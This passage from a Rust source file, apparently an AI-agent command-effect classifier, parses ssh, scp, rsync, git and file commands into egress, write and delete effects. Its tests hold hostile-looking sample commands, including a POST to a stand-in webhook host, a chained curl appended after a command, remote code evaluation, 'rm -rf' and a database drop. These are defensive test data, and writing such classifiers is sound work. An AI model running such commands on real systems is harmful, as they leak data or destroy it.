3898        .map_or(destination, |(_, host)| host);
3899    egress_effect("ssh", host, port)
3900}
3901
3902/// `ssh [options] destination [command]`: the remote command runs on the
3903/// destination, so only the destination is an effect here.
3904fn ssh(args: &[String], cwd: Option<&str>, out: &mut ShellAnalysis) {
3905    let Some(parsed) = parse_options(&SSH, args) else {
3906        out.opaque();
3907        return;
3908    };
3909    apply_values(&parsed, cwd, out);
3910    let Ok(port) = port_option(&parsed) else {
3911        out.opaque();
3912        return;
3913    };
3914    let key = parsed.positionals.first().and_then(|destination| {
3915        if destination.contains("://") {
3916            let url = strict_url(destination)?;
3917            if url.scheme() != "ssh" {
3918                return None;
3919            }
3920            egress_effect("ssh", url.host_str()?, port.or(url.port()))
3921        } else {
3922            ssh_host_effect(destination, port)
3923        }
3924    });
3925    out.egress(key);
3926}
3927
3928/// A remote operand of scp or rsync (`[user@]host:path`, `host::module`,
3929/// `scheme://`), as an egress on `scheme`. `Ok(None)` for a local path,
3930/// `Err` when it cannot be read.
3931fn remote_operand(operand: &str, scheme: &str, port: Option<u16>) -> Result<Option<EffectKey>, ()> {
3932    if operand.contains("://") {
3933        return url_effect(operand).map(Some).ok_or(());
3934    }
3935    if operand.starts_with(['/', '.', '~']) {
3936        return Ok(None);
3937    }
3938    let (user_host, rest) = match operand.find('[') {
3939        // `[user@][v6]:path`
3940        Some(open) => {
3941            let close = operand.find(']').ok_or(())?;
3942            if close < open || operand.as_bytes().get(close + 1) != Some(&b':') {
3943                return Err(());
3944            }
3945            (&operand[..=close], &operand[close + 1..])
3946        }
3947        None => match operand.split_once(':') {
3948            Some((before, _)) if !before.contains('/') => (before, &operand[before.len()..]),
3949            _ => return Ok(None),
3950        },
3951    };
3952    if user_host.is_empty() {
3953        return Err(());
3954    }
3955    // `host::module` is the rsync daemon.
3956    if rest.starts_with("::") && scheme == "rsync" {
3957        let host = user_host
3958            .rsplit_once('@')
3959            .map_or(user_host, |(_, host)| host);
3960        return egress_effect("rsync", host, port.or(Some(873)))
3961            .map(Some)
3962            .ok_or(());
3963    }
3964    ssh_host_effect(user_host, port).map(Some).ok_or(())
3965}
3966
3967/// Sources and destination of scp/rsync: remote operands are egress, a
3968/// local destination is written. `Some(true)` when the destination is
3969/// local; `None` when the operands cannot be read.
3970fn transfer(
3971    positionals: &[String],
3972    scheme: &str,
3973    port: Option<u16>,
3974    cwd: Option<&str>,
3975    out: &mut ShellAnalysis,
3976) -> Option<bool> {
3977    let Some((destination, sources)) = positionals.split_last().filter(|(_, s)| !s.is_empty())
3978    else {
3979        out.opaque();
3980        return None;
3981    };
3982    for source in sources {
3983        match remote_operand(source, scheme, port) {
3984            Ok(Some(key)) => out.add(key),
3985            Ok(None) => {}
3986            Err(()) => out.opaque(),
3987        }
3988    }
3989    match remote_operand(destination, scheme, port) {
3990        Ok(Some(key)) => {
3991            out.add(key);
3992            Some(false)
3993        }
3994        Ok(None) => {
3995            out.path(EffectClass::Write, destination, cwd);
3996            Some(true)
3997        }
3998        Err(()) => {
3999            out.opaque();
4000            None
4001        }
4002    }
4003}
4004
4005const SCP: OptionSpec = OptionSpec {
4006    flags: "346BCpqrTvA",
4007    valued: &[
4008        ('P', OptionValue::Port),
4009        ('i', OptionValue::Ignore),
4010        ('l', OptionValue::Ignore),
4011        ('c', OptionValue::Ignore),
4012    ],
4013    long_flags: &[],
4014    long_valued: &[],
4015    long_equals: false,
4016    exact: &[],
4017    stop_at_positional: false,
4018};
4019
4020fn scp(args: &[String], cwd: Option<&str>, out: &mut ShellAnalysis) {
4021    let Some(parsed) = parse_options(&SCP, args) else {
4022        out.opaque();
4023        return;
4024    };
4025    let Ok(port) = port_option(&parsed) else {
4026        out.opaque();
4027        return;
4028    };
4029    transfer(&parsed.positionals, "ssh", port, cwd, out);
4030}
4031
4032const RSYNC: OptionSpec = OptionSpec {
4033    flags: "avzrlptgoDhPnciuqHAXSWxRIKLkmyO",
4034    valued: &[('B', OptionValue::Ignore)],
4035    long_flags: &[
4036        "archive",
4037        "verbose",
4038        "compress",
4039        "recursive",
4040        "links",
4041        "perms",
4042        "times",
4043        "group",
4044        "owner",
4045        "devices",
4046        "specials",
4047        "human-readable",
4048        "progress",
4049        "partial",
4050        "dry-run",
4051        "checksum",
4052        "update",
4053        "quiet",
4054        "hard-links",
4055        "acls",
4056        "xattrs",
4057        "sparse",
4058        "whole-file",
4059        "one-file-system",
4060        "relative",
4061        "ignore-existing",
4062        "inplace",
4063        "append",
4064        "stats",
4065        "itemize-changes",
4066        "delete",
4067        "delete-before",
4068        "delete-during",
4069        "delete-after",
4070        "delete-delay",
4071        "delete-excluded",
4072        "remove-source-files",
4073        "prune-empty-dirs",
4074        "numeric-ids",
4075        "safe-links",
4076        "copy-links",
4077        "keep-dirlinks",
4078        "no-motd",
4079        "mkpath",
4080    ],
4081    long_valued: &[
4082        ("exclude", OptionValue::Ignore),
4083        ("include", OptionValue::Ignore),
4084        ("exclude-from", OptionValue::Ignore),
4085        ("include-from", OptionValue::Ignore),
4086        ("bwlimit", OptionValue::Ignore),
4087        ("timeout", OptionValue::Ignore),
4088        ("contimeout", OptionValue::Ignore),
4089        ("chmod", OptionValue::Ignore),
4090        ("max-size", OptionValue::Ignore),
4091        ("min-size", OptionValue::Ignore),
4092        ("password-file", OptionValue::Ignore),
4093    ],
4094    long_equals: true,
4095    exact: &[],
4096    stop_at_positional: false,
4097};
4098
4099fn rsync(args: &[String], cwd: Option<&str>, out: &mut ShellAnalysis) {
4100    let Some(parsed) = parse_options(&RSYNC, args) else {
4101        out.opaque();
4102        return;
4103    };
4104    // rsync's own `--port` is not listed: it applies to one transport only.
4105    let port = None;
4106    let Some(local_destination) = transfer(&parsed.positionals, "rsync", port, cwd, out) else {
4107        return;
4108    };
4109    let flag = |name: &str| parsed.long_flags.iter().any(|flag| flag.starts_with(name));
4110    let Some((destination, sources)) = parsed.positionals.split_last() else {
4111        return;
4112    };
4113    // `--delete*` removes files below a local destination (a remote one is
4114    // already egress).
4115    if flag("delete") && local_destination {
4116        out.path(EffectClass::Delete, destination, cwd);
4117    }
4118    // `--remove-source-files` deletes what it sent.
4119    if flag("remove-source-files") {
4120        for source in sources {
4121            if matches!(remote_operand(source, "rsync", port), Ok(None)) {
4122                out.path(EffectClass::Delete, source, cwd);
4123            }
4124        }
4125    }
4126}
4127
4128const COPY: OptionSpec = OptionSpec {
4129    flags: "rRfinpavLPHlsuxXTcdD",
4130    valued: &[('t', OptionValue::TargetDir)],
4131    long_flags: &[
4132        "archive",
4133        "recursive",
4134        "force",
4135        "interactive",
4136        "no-clobber",
4137        "verbose",
4138        "update",
4139        "parents",
4140        "no-target-directory",
4141        "dereference",
4142        "no-dereference",
4143        "one-file-system",
4144        "link",
4145        "symbolic-link",
4146        "preserve",
4147        "reflink",
4148        "strip-trailing-slashes",
4149    ],
4150    long_valued: &[
4151        ("target-directory", OptionValue::TargetDir),
4152        ("preserve", OptionValue::Ignore),
4153        ("no-preserve", OptionValue::Ignore),
4154        ("sparse", OptionValue::Ignore),
4155        ("reflink", OptionValue::Ignore),
4156        ("update", OptionValue::Ignore),
4157    ],
4158    long_equals: true,
4159    exact: &[],
4160    stop_at_positional: false,
4161};
4162
4163/// `cp`/`mv`: the destination (the last operand, or `-t DIR`) is written;
4164/// `mv` also removes its sources.
4165fn copied(program: &str, args: &[String], cwd: Option<&str>, out: &mut ShellAnalysis) {
4166    let Some(parsed) = parse_options(&COPY, args) else {
4167        out.unresolved();
4168        return;
4169    };
4170    let target_dir = parsed
4171        .values
4172        .iter()
4173        .rev()
4174        .find(|(role, _)| *role == OptionValue::TargetDir)
4175        .map(|(_, dir)| dir.clone());
4176    let (destination, sources) = match &target_dir {
4177        Some(dir) => (dir.as_str(), &parsed.positionals[..]),
4178        None => match parsed.positionals.split_last() {
4179            Some((destination, sources)) if !sources.is_empty() => (destination.as_str(), sources),
4180            _ => {
4181                out.unresolved();
4182                return;
4183            }
4184        },
4185    };
4186    out.path(EffectClass::Write, destination, cwd);
4187    if program == "mv" {
4188        for source in sources {
4189            out.path(EffectClass::Delete, source, cwd);
4190        }
4191    }
4192}
4193
4194const CREATE: OptionSpec = OptionSpec {
4195    flags: "aipcmhf",
4196    valued: &[
4197        ('t', OptionValue::Ignore),
4198        ('d', OptionValue::Ignore),
4199        ('r', OptionValue::Ignore),
4200    ],
4201    long_flags: &[
4202        "append",
4203        "ignore-interrupts",
4204        "no-create",
4205        "no-dereference",
4206        "parents",
4207        "verbose",
4208    ],
4209    long_valued: &[
4210        ("output-error", OptionValue::Ignore),
4211        ("date", OptionValue::Ignore),
4212        ("reference", OptionValue::Ignore),
4213        ("time", OptionValue::Ignore),
4214        ("mode", OptionValue::Ignore),
4215    ],
4216    long_equals: true,
4217    exact: &[],
4218    stop_at_positional: false,
4219};
4220
4221/// `tee`, `touch` and `mkdir` write each operand.
4222fn created(program: &str, args: &[String], cwd: Option<&str>, out: &mut ShellAnalysis) {
4223    // `mkdir -m MODE` takes a value where `touch -m` does not.
4224    let spec = if program == "mkdir" {
4225        OptionSpec {
4226            flags: "pv",
4227            valued: &[('m', OptionValue::Ignore)],
4228            ..CREATE
4229        }
4230    } else {
4231        CREATE
4232    };
4233    match parse_options(&spec, args) {
4234        Some(parsed) => {
4235            for operand in &parsed.positionals {
4236                if operand != "-" {
4237                    out.path(EffectClass::Write, operand, cwd);
4238                }
4239            }
4240        }
4241        None => out.unresolved(),
4242    }
4243}
4244
4245/// Options of git's network subcommands, with their arity. They are read
4246/// only to find the remote operand (a lower bound): these commands are
4247/// always incomplete.
4248const GIT_CLONE: OptionSpec = OptionSpec {
4249    flags: "qvnls",
4250    valued: &[
4251        ('b', OptionValue::Ignore),
4252        ('o', OptionValue::Ignore),
4253        ('j', OptionValue::Ignore),
4254        ('u', OptionValue::Ignore),
4255        ('c', OptionValue::Ignore),
4256    ],
4257    long_flags: &[
4258        "quiet",
4259        "verbose",
4260        "progress",
4261        "no-checkout",
4262        "bare",
4263        "mirror",
4264        "single-branch",
4265        "no-single-branch",
4266        "no-tags",
4267        "shallow-submodules",
4268        "no-hardlinks",
4269        "local",
4270        "shared",
4271        "sparse",
4272        "recurse-submodules",
4273    ],
4274    long_valued: &[
4275        ("branch", OptionValue::Ignore),
4276        ("origin", OptionValue::Ignore),
4277        ("depth", OptionValue::Ignore),
4278        ("shallow-since", OptionValue::Ignore),
4279        ("shallow-exclude", OptionValue::Ignore),
4280        ("filter", OptionValue::Ignore),
4281        ("jobs", OptionValue::Ignore),
4282        ("upload-pack", OptionValue::Ignore),
4283        ("template", OptionValue::Ignore),
4284        ("separate-git-dir", OptionValue::Ignore),
4285        ("reference", OptionValue::Ignore),
4286        ("config", OptionValue::Ignore),
4287        ("recurse-submodules", OptionValue::Ignore),
4288    ],
4289    long_equals: true,
4290    exact: &[],
4291    stop_at_positional: false,
4292};
4293
4294const GIT_FETCH: OptionSpec = OptionSpec {
4295    flags: "qvafkmnpPtu",
4296    valued: &[('j', OptionValue::Ignore), ('o', OptionValue::Ignore)],
4297    long_flags: &[
4298        "quiet",
4299        "verbose",
4300        "progress",
4301        "force",
4302        "tags",
4303        "no-tags",
4304        "prune",
4305        "dry-run",
4306        "unshallow",
4307        "update-head-ok",
4308        "append",
4309    ],
4310    long_valued: &[
4311        ("depth", OptionValue::Ignore),
4312        ("deepen", OptionValue::Ignore),
4313        ("shallow-since", OptionValue::Ignore),
4314        ("shallow-exclude", OptionValue::Ignore),
4315        ("jobs", OptionValue::Ignore),
4316        ("upload-pack", OptionValue::Ignore),
4317        ("refmap", OptionValue::Ignore),
4318        ("server-option", OptionValue::Ignore),
4319        ("recurse-submodules", OptionValue::Ignore),
4320    ],
4321    long_equals: true,
4322    exact: &[],
4323    stop_at_positional: false,
4324};
4325
4326const GIT_PULL: OptionSpec = OptionSpec {
4327    flags: "qvnfkr",
4328    valued: &[
4329        ('s', OptionValue::Ignore),
4330        ('X', OptionValue::Ignore),
4331        ('j', OptionValue::Ignore),
4332        ('o', OptionValue::Ignore),
4333    ],
4334    long_flags: &[
4335        "quiet",
4336        "verbose",
4337        "progress",
4338        "force",
4339        "tags",
4340        "no-tags",
4341        "prune",
4342        "rebase",
4343        "no-rebase",
4344        "ff-only",
4345        "ff",
4346        "no-ff",
4347        "unshallow",
4348        "autostash",
4349        "no-autostash",
4350    ],
4351    long_valued: &[
4352        ("strategy", OptionValue::Ignore),
4353        ("strategy-option", OptionValue::Ignore),
4354        ("depth", OptionValue::Ignore),
4355        ("jobs", OptionValue::Ignore),
4356        ("rebase", OptionValue::Ignore),
4357        ("upload-pack", OptionValue::Ignore),
4358        ("recurse-submodules", OptionValue::Ignore),
4359    ],
4360    long_equals: true,
4361    exact: &[],
4362    stop_at_positional: false,
4363};
4364
4365const GIT_PUSH: OptionSpec = OptionSpec {
4366    flags: "qvfnud",
4367    valued: &[('o', OptionValue::Ignore)],
4368    long_flags: &[
4369        "quiet",
4370        "verbose",
4371        "progress",
4372        "force",
4373        "tags",
4374        "all",
4375        "mirror",
4376        "dry-run",
4377        "atomic",
4378        "follow-tags",
4379        "set-upstream",
4380        "delete",
4381        "prune",
4382        "force-with-lease",
4383        "no-verify",
4384    ],
4385    long_valued: &[
4386        ("push-option", OptionValue::Ignore),
4387        ("force-with-lease", OptionValue::Ignore),
4388        ("receive-pack", OptionValue::Ignore),
4389        ("exec", OptionValue::Ignore),
4390        ("repo", OptionValue::Ignore),
4391        ("recurse-submodules", OptionValue::Ignore),
4392    ],
4393    long_equals: true,
4394    exact: &[],
4395    stop_at_positional: false,
4396};
4397
4398/// A git remote given as a URL (`https://`, `ssh://`, `git://`, or
4399/// scp-like `user@host:path`). `Ok(None)` for a local repository path;
4400/// `Err` for a remote named only by configuration (`origin`).
4401fn git_remote(remote: &str) -> Result<Option<EffectKey>, ()> {
4402    // `transport::address` (`ext::` runs a command).
4403    if remote.contains("::") {
4404        return Err(());
4405    }
4406    if let Some(scheme_end) = remote.find("://") {
4407        return match &remote[..scheme_end] {
4408            "file" => Ok(None),
4409            "ext" => Err(()),
4410            _ => url_effect(remote).map(Some).ok_or(()),
4411        };
4412    }
4413    if remote.starts_with(['/', '.', '~']) {
4414        return Ok(None);
4415    }
4416    match remote.split_once(':') {
4417        Some((before, _)) if !before.contains('/') && !before.is_empty() => {
4418            ssh_host_effect(before, None).map(Some).ok_or(())
4419        }
4420        _ => Err(()),
4421    }
4422}
4423
4424/// Every git command is incomplete: repository config (diff.external,
4425/// core.fsmonitor, aliases, pagers, hooks) can run code, and `clone`,
4426/// `fetch` and `pull` may fetch submodules from other hosts. The remote of
4427/// `ls-remote <strict URL>` and of the network subcommands is still declared
4428/// as a lower bound.
4429fn git(args: &[String], cwd: Option<&str>, out: &mut ShellAnalysis) {
4430    let Some(subcommand) = args.first().filter(|arg| !arg.starts_with('-')) else {
4431        out.opaque();
4432        return;
4433    };
4434    let rest = &args[1..];
4435    // Repository config can run code for any subcommand: never complete.
4436    out.opaque();
4437    if subcommand == "ls-remote" {
4438        if let [remote] = rest
4439            && let Some(key) = url_effect(remote)
4440        {
4441            out.add(key);
4442        }
4443        return;
4444    }
4445    let spec = match subcommand.as_str() {
4446        "clone" => &GIT_CLONE,
4447        "fetch" => &GIT_FETCH,
4448        "pull" => &GIT_PULL,
4449        "push" => &GIT_PUSH,
4450        _ => {
4451            out.opaque();
4452            return;
4453        }
4454    };
4455    out.opaque();
4456    let Some(parsed) = parse_options(spec, rest) else {
4457        return;
4458    };
4459    let Some(remote) = parsed.positionals.first() else {
4460        return;
4461    };
4462    if let Ok(Some(key)) = git_remote(remote) {
4463        out.add(key);
4464    }
4465    if subcommand == "clone"
4466        && let Some(directory) = parsed.positionals.get(1)
4467    {
4468        out.path(EffectClass::Write, directory, cwd);
4469    }
4470}
4471
4472#[cfg(test)]
4473mod remote_inner_tests {
4474    use super::{recognizably_changes, remote_inner_only_reads};
4475
4476    /// Only a change the classifier can name counts; an unknown program or
4477    /// a look does not, so crediting from it never invents work.
4478    #[test]
4479    fn only_a_recognized_change_counts() {
4480        for change in [
4481            "docker exec app-1 bash -lc 'printf x > /app/move.txt'",
4482            "docker exec app-1 chmod +x /app/run.sh",
4483            "ssh host 'sudo apt-get install -y nginx'",
4484            "sed -i 's/a/b/' notes.txt",
4485            "mkdir -p out && cp a.txt out/",
4486            "git commit -m synthetic",
4487        ] {
4488            assert!(recognizably_changes(change), "{change}");
4489        }
4490        for not_recognized in [
4491            "docker exec app-1 bash -lc 'ls /app; cat /app/a'",
4492            "docker exec app-1 python3 /app/run.py",
4493            "./deploy.sh",
4494            "ls -la",
4495            "sed 's/a/b/' notes.txt",
4496        ] {
4497            assert!(!recognizably_changes(not_recognized), "{not_recognized}");
4498        }
4499    }
4500
4501    /// A file written with a here-document inside `docker exec ... bash -lc`
4502    /// is a recognized change, however the delimiter is quoted (live
4503    /// 2026-11-20: a script written this way read as "nothing attempted",
4504    /// and the run was sent back to redo it).
4505    #[test]
4506    fn a_heredoc_write_inside_a_remote_exec_is_a_change() {
4507        for change in [
4508            "docker exec app-1 bash -lc 'cat > /app/proc.py <<\"EOF\"\nimport csv\nprint(1)\nEOF'",
4509            "docker exec app-1 bash -lc 'cat > /app/proc.py <<'\"'\"'EOF'\"'\"'\nimport csv\nEOF\ncd /app && python3 proc.py'",
4510            "docker exec app-1 bash -lc 'cat > /app/proc.py <<EOF\nx = {\"a\": 1}\nEOF'",
4511            "docker exec app-1 bash -lc 'cd /app && cat <<EOF > out.txt\nhello\nEOF'",
4512        ] {
4513            assert!(recognizably_changes(change), "{change}");
4514            assert_eq!(remote_inner_only_reads(change), Some(false), "{change}");
4515        }
4516    }
4517
4518    /// A look inside a container or host reads; a write there changes.
4519    #[test]
4520    fn the_command_inside_a_remote_exec_is_judged() {
4521        assert_eq!(
4522            remote_inner_only_reads("docker exec app-1 bash -lc 'ls -la /app; cat /app/a.txt'"),
4523            Some(true)
4524        );
4525        assert_eq!(
4526            remote_inner_only_reads(
4527                "docker exec -w /app app-1 bash -lc 'printf x > /app/move.txt'"
4528            ),
4529            Some(false)
4530        );
4531        assert_eq!(
4532            remote_inner_only_reads("docker exec -e K=v app-1 rm -f /app/old.log"),
4533            Some(false)
4534        );
4535        assert_eq!(
4536            remote_inner_only_reads("ssh -p 2222 host cat /etc/hostname"),
4537            Some(true)
4538        );
4539        assert_eq!(
4540            remote_inner_only_reads("ssh host 'systemctl restart nginx'"),
4541            Some(false)
4542        );
4543        assert_eq!(
4544            remote_inner_only_reads("kubectl exec pod-1 -- sh -c 'ls /data'"),
4545            Some(true)
4546        );
4547        assert_eq!(
4548            remote_inner_only_reads("docker compose exec -T web sh -c 'cat /srv/a'"),
4549            Some(true)
4550        );
4551        assert_eq!(
4552            remote_inner_only_reads("lxc exec box -- touch /tmp/a"),
4553            Some(false)
4554        );
4555        assert_eq!(
4556            remote_inner_only_reads("vagrant ssh -c 'ls /vagrant'"),
4557            Some(true)
4558        );
4559        assert_eq!(
4560            remote_inner_only_reads("gcloud compute ssh vm-1 --command='rm -f /tmp/a'"),
4561            Some(false)
4562        );
4563        // Not one remote wrapper: nothing to judge here.
4564        assert_eq!(remote_inner_only_reads("ls /app"), None);
4565        assert_eq!(remote_inner_only_reads("docker ps"), None);
4566        assert_eq!(
4567            remote_inner_only_reads("docker exec app-1 ls && rm -rf /tmp/x"),
4568            None
4569        );
4570    }
4571}
4572
4573#[cfg(test)]
4574mod tests {
4575    /// A project's own Drush or WP-CLI command acts on its own site; code
4576    /// it is handed, a URL, a file written here, another program or a `cd`
4577    /// does not.
4578    #[test]
4579    fn a_ddev_project_command_acts_on_its_own_project() {
4580        for own in [
4581            "ddev drush watchdog:show --count=8",
4582            "ddev drush cr",
4583            "ddev wp option update blogname 'Claude Company' --path=web",
4584            "ddev wp user update 1 --display_name=Admin",
4585        ] {
4586            assert!(super::acts_on_its_ddev_project(own), "{own}");
4587        }
4588        for other in [
4589            "ddev drush php:eval 'file_get_contents(\"https://x.invalid\");'",
4590            "ddev wp eval 'echo 1;'",
4591            "ddev wp plugin install https://x.invalid/p.zip",
4592            "ddev drush sql:dump > /tmp/dump.sql",
4593            "ddev exec curl https://x.invalid",
4594            "ddev drush --eval=1 status",
4595            "cd /elsewhere && ddev drush cr",
4596            "ddev drush cr; curl https://x.invalid",
4597        ] {
4598            assert!(!super::acts_on_its_ddev_project(other), "{other}");
4599        }
4600    }
4601
4602    use super::*;
4603
4604    /// A background command is named by what it runs, never by its line.
4605    #[test]
4606    fn a_command_is_labelled_by_its_program() {
4607        assert_eq!(
4608            program_label("for i in $(seq 1 200); do echo $i; sleep 2; done; echo done"),
4609            "a shell loop"
4610        );
4611        assert_eq!(
4612            program_label("while kill -0 123; do sleep 5; done"),
4613            "a shell loop"
4614        );
4615        assert_eq!(program_label("cd /srv/demo && ddev start"), "ddev");
4616        assert_eq!(program_label("ddev drush site:install -y"), "ddev");
4617        assert_eq!(
4618            program_label("FOO=1 nohup /usr/bin/python3 serve.py"),
4619            "python3"
4620        );
4621        assert_eq!(program_label(""), "a command");
4622    }
4623
4624    /// A local project's own status queries (a project report, read-only
4625    /// WP-CLI and drush queries) are local work; starting, installing,
4626    /// running code and arbitrary commands in its containers are not.
4627    /// The inspection a helper ran before installing (live 2026-11-12): a
4628    /// `for` loop over two folders, a `( ... )` subshell, `2>&1`, pipes
4629    /// into `head` and the loop variable. Every command it runs reads or
4630    /// reports a local project, so it is local work that reaches nothing
4631    /// beyond this computer; the same loop deleting, or writing a file,
4632    /// is not read-only.
4633    const INSPECT_SITES: &str = "cd /Users/alice/projects && for d in claude-drupal \
4634        claude-wordpress; do echo \"== $d\"; ls -la $d | head -30; ls $d/.ddev 2>&1 | head; \
4635        (cd $d && ddev describe 2>&1 | head -25); done";
4636
4637    #[test]
4638    fn a_read_only_loop_with_a_subshell_is_local_work() {
4639        let effects = command_effects(INSPECT_SITES);
4640        assert!(effects.local_work_only, "{INSPECT_SITES}");
4641        assert!(!effects.deletes);
4642        assert!(reaches_only_this_computer(INSPECT_SITES));
4643        assert!(!fetches_network(INSPECT_SITES));
4644        // Observations alone, in the same shapes, are read-only.
4645        for read in [
4646            "for d in a b; do echo \"== $d\"; ls -la $d | head -30; done",
4647            "(ls -la /tmp && pwd) 2>&1 | head",
4648            "for d in a b; do for f in x y; do cat ${d}/$f; done; done",
4649            "for f in *.log; do tail -5 $f; done",
4650        ] {
4651            assert!(command_effects(read).observation_only, "{read}");
4652        }
4653
4654        let deleting = INSPECT_SITES.replace("ls -la $d | head -30", "rm -rf $d");
4655        let effects = command_effects(&deleting);
4656        assert!(
4657            effects.deletes && effects.delete_targets.is_none(),
4658            "{deleting}"
4659        );
4660        assert!(!effects.observation_only);
4661        assert!(!reaches_only_this_computer(&deleting));
4662        let writing = INSPECT_SITES.replace("ls -la $d | head -30", "ls -la $d > notes.txt");
4663        // A file it writes stays on this computer, but it is not a read.
4664        assert!(!command_effects(&writing).observation_only, "{writing}");
4665
4666        for not_understood in [
4667            // A loop word that splits, or a variable, could become any flag.
4668            "for x in \"-o out\"; do sort $x f; done",
4669            "for x in $FLAGS; do sort $x f; done",
4670            "for x in -o; do sort $x out f; done",
4671            "for x in -delete; do find . $x; done",
4672            // The loop variable is the program.
4673            "for p in ls rm; do $p x; done",
4674            "for p in rm; do (cd /tmp && $p -rf x); done",
4675            "for p in ls; do $p x; done; rm y",
4676            "for d in a; do ls $d",
4677            "for d in a; ls $d; done",
4678            "for d; do ls $d; done",
4679            "for ((i=0;i<3;i++)); do ls; done",
4680            "while true; do ls; done",
4681            "if true; then ls; fi",
4682            "ls (cd x)",
4683            "(ls) ls",
4684            "(ls",
4685            "ls)",
4686            "f() (ls); f",
4687            "(echo $(rm x))",
4688        ] {
4689            let effects = command_effects(not_understood);
4690            assert!(!effects.observation_only, "{not_understood}");
4691            assert!(!effects.local_work_only, "{not_understood}");
4692        }
4693    }
4694
4695    /// The card names the folders a read-only command looks inside; a
4696    /// command that also deletes, writes or runs anything else names none.
4697    #[test]
4698    fn the_folders_a_read_only_command_looks_inside_are_named() {
4699        assert_eq!(
4700            looked_inside(INSPECT_SITES),
4701            ["claude-drupal", "claude-wordpress"]
4702        );
4703        assert_eq!(
4704            looked_inside("ls -la /srv/www/shop/ && du -sh logs/2026"),
4705            ["shop", "logs"]
4706        );
4707        assert_eq!(
4708            looked_inside("tree -L 2 src && find app -name '*.php'"),
4709            ["src", "app"]
4710        );
4711        assert!(looked_inside("ls ~ . .. $HOME *.txt").is_empty());
4712        assert!(looked_inside("cat notes.txt").is_empty());
4713        for not_only_looking in [
4714            INSPECT_SITES.replace("ls -la $d | head -30", "rm -rf $d"),
4715            INSPECT_SITES.replace("ls -la $d | head -30", "ls -la $d > notes.txt"),
4716            "ls site && curl -s http://localhost:5173/".to_string(),
4717            "ls site && cargo build".to_string(),
4718        ] {
4719            assert!(
4720                looked_inside(&not_only_looking).is_empty(),
4721                "{not_only_looking}"
4722            );
4723        }
4724    }
4725
4726    #[test]
4727    fn a_command_card_carries_its_typed_effects() {
4728        use aidaemon_core::{CardAction, HighImpact};
4729        let card = command_card(INSPECT_SITES, Some("check the site folders".to_string()));
4730        assert_eq!(card.impact, None);
4731        assert!(matches!(
4732            &card.action,
4733            CardAction::Command { looks_inside, title: Some(_), line }
4734                if looks_inside.len() == 2 && line == INSPECT_SITES
4735        ));
4736        assert_eq!(
4737            command_card("rm -rf build dist", None).impact,
4738            Some(HighImpact::Deletes {
4739                targets: vec!["build".to_string(), "dist".to_string()]
4740            })
4741        );
4742        assert_eq!(
4743            command_card("curl -X POST https://example.invalid/hook", None).impact,
4744            Some(HighImpact::Sends)
4745        );
4746    }
4747
4748    /// Checking a dev site this work set up is a read; saving its page,
4749    /// writing to it or reaching anything else is not.
4750    #[test]
4751    fn a_local_site_check_only_reads_this_computer() {
4752        for read in [
4753            "curl -s -o /dev/null -w '%{http_code}' https://shop-synthetic.localhost/",
4754            "curl -sI https://127.0.0.1:8443/ | head -5",
4755            "cd /tmp/site && ddev describe && curl -s http://localhost:5173/ | grep -c title",
4756            INSPECT_SITES,
4757        ] {
4758            assert!(only_reads_this_computer(read), "{read}");
4759        }
4760        for not_a_read in [
4761            "curl -s -o page.html https://shop-synthetic.localhost/",
4762            "curl -sSo page.html http://localhost:5173/",
4763            "curl -s -c jar http://localhost:5173/",
4764            "curl -s https://example.invalid/",
4765            "curl -s -X POST http://localhost:5173/x",
4766            "curl -s http://localhost:5173/ > page.html",
4767            "wget http://localhost:5173/",
4768            "ddev start",
4769            "cargo build",
4770        ] {
4771            assert!(!only_reads_this_computer(not_a_read), "{not_a_read}");
4772        }
4773    }
4774
4775    /// A build or test runner runs the project's own code; moving files or
4776    /// local git does not.
4777    #[test]
4778    fn build_and_test_runners_run_project_code() {
4779        for runner in [
4780            "make",
4781            "make -C sub all",
4782            "cargo test -q",
4783            "cargo +nightly build",
4784            "cd /srv/app && npm run build",
4785            "pytest tests/test_x.py",
4786            "python3 scripts/gen.py",
4787            "go test ./...",
4788            "env FOO=1 make",
4789        ] {
4790            assert!(command_effects(runner).runs_project_code, "{runner}");
4791        }
4792        for plain in [
4793            "git status",
4794            "cp a b",
4795            "mkdir -p out",
4796            "cargo fmt",
4797            "cargo tree",
4798            "ls -la",
4799            "npm view left-pad",
4800        ] {
4801            assert!(!command_effects(plain).runs_project_code, "{plain}");
4802        }
4803    }
4804
4805    #[test]
4806    fn ddev_status_queries_are_local_work() {
4807        for query in [
4808            "ddev describe",
4809            "cd /srv/demo && ls -la ADMIN_PASSWORD.txt && ddev wp core is-installed; \
4810             echo \"is-installed exit: $?\"; ddev wp option get siteurl",
4811            "ddev wp core version --allow-root",
4812            "ddev drush status --field=bootstrap",
4813            "ddev wp plugin list --format=json",
4814        ] {
4815            let effects = command_effects(query);
4816            assert!(effects.local_work_only, "{query}");
4817            assert!(!fetches_network(query), "{query}");
4818        }
4819        for other in [
4820            "ddev start",
4821            "ddev wp plugin install akismet",
4822            "ddev wp core download",
4823            "ddev wp --exec='echo 1;' option get siteurl",
4824            "ddev wp option get siteurl --require=/tmp/x.php",
4825            "ddev exec curl https://example.invalid",
4826            "ddev ssh",
4827            "ddev drush sql:drop",
4828            "ddev",
4829        ] {
4830            assert!(!command_effects(other).local_work_only, "{other}");
4831        }
4832    }
4833
4834    /// Every path effect reads its argument the same way: a bracket in
4835    /// either form, `~user` and an unanchored relative path are unreadable.
4836    #[test]
4837    fn path_effects_read_one_argument_one_way() {
4838        for raw in ["/tmp/a]b", "/tmp/a[b", "~someone/x", "rel/x"] {
4839            assert!(
4840                path_effect(EffectClass::Write, raw, None).is_none(),
4841                "{raw}"
4842            );
4843            assert!(
4844                shell_path_effects(EffectClass::Write, raw, None).is_none(),
4845                "{raw}"
4846            );
4847        }
4848        assert_eq!(
4849            structural_absolute_path("notes.txt", Some("/srv/app/")),
4850            Some("/srv/app/notes.txt".to_string())
4851        );
4852    }
4853
4854    /// `xargs` takes its operands from stdin, which no argument names: the
4855    /// paths it reads cannot be determined, even with a readable redirect.
4856    #[test]
4857    fn xargs_path_operands_are_undeterminable() {
4858        assert_eq!(path_operands("xargs cat < list.txt"), None);
4859        assert_eq!(path_operands("cat list.txt | xargs cat"), None);
4860    }
4861
4862    #[test]
4863    fn local_work_and_delete_targets_are_typed_by_structure() {
4864        for local in [
4865            "cargo test > out.log 2>&1",
4866            "cargo fmt\ncargo test",
4867            "cd /tmp/aidaemon-test/p && git status",
4868            "rm -f a.o b.o",
4869        ] {
4870            assert!(command_effects(local).local_work_only, "{local}");
4871        }
4872        for other in [
4873            "cargo test < input.txt",
4874            "git -C /tmp/aidaemon-test/p commit -m x",
4875            "npm install",
